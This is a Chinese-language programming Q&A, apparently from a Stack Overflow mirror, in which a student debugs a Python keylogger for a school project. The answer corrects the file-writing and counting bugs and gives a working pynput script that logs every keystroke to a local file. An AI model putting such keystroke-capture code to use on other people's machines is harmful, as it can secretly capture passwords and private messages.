作为学校项目的一部分,我正在使用Python创建一个键盘记录程序,到目前为止,我已经使我的程序能够记录用户的键盘输入。我希望这些击键保存到名为“ log.txt”的文件中,并且已经为其编写了代码,但是“ log.txt”文件却什么也不保存,只是空白。
我该如何解决?这是我的代码。
count = 0
keys = [""]
def key_pressed(key):
global keys, count
keys = '{0}'.format(key)
print(keys)
if count >= 10:
count = 0
log_2_file(keys)
keys = [""]
def log_2_file(keys):
with open(file, path + ext + file, "a") as log_file:
for key in keys:
log_file(str(key))
def key_released(key):
if key == keyboard.Key.esc:
return False
with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
loop.join()
非常感谢您的帮助,我不知道我要去哪里错了,来到这里绝对是不得已的选择。
(顺便说一句,我在IDLE 3.7.0中编码)
答案 0 :(得分:0)
您在代码中犯了几个错误。
在log_2_file
函数中:
with open(file, path + ext + file, "a")
。您在此处将三个参数传递给open(...)
。尽管open
支持2个以上的参数,例如buffering
(请参阅this question and answer),但看起来您刚刚混入了一些东西。因此,我仅用file, path + ext + file
替换了两个第一个参数("keylogger.log"
)。log_file('str(key)')
。 log_flie
在这里不是函数,它是文件对象。它是不可调用的,并且当您要在其中编写某些内容时,应改用其.write(something)
方法。您还应该添加log_file.flush()
,以确保更改立即出现(不仅在您.close()
文件之后出现,或者退出with open(...) as ...:
正文之外)keys
设置为[""]
。这是一个坏主意,因为日志文件的第一行只是空的。您最好将keys
写入文件,然后再写换行符。在key_pressed
函数中:
{0}.format(key)
而不是str(key)
。keys
列表中。但是,您只是将keys
的值设置为str(key)
。count
的值,因此它永远不会等于10。相反,它始终是0。count >= 10
是一个坏主意。在它将超过10之前,肯定是10
,并且计数将再次为0。因此,请改用count == 10
。这是代码的更新版本:
from pynput import keyboard
count, keys = 0, []
def log_2_file(keys):
with open("keylogger.log", "a") as log_file:
for key in keys:
log_file.write(str(key) + "\n")
log_file.flush()
log_file.write("\n")
def key_pressed(key):
global keys, count
keys.append(str(key))
count += 1
if count == 10:
log_2_file(keys)
count, keys = 0, []
def key_released(key):
if key == keyboard.Key.esc:
return False
with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
loop.join()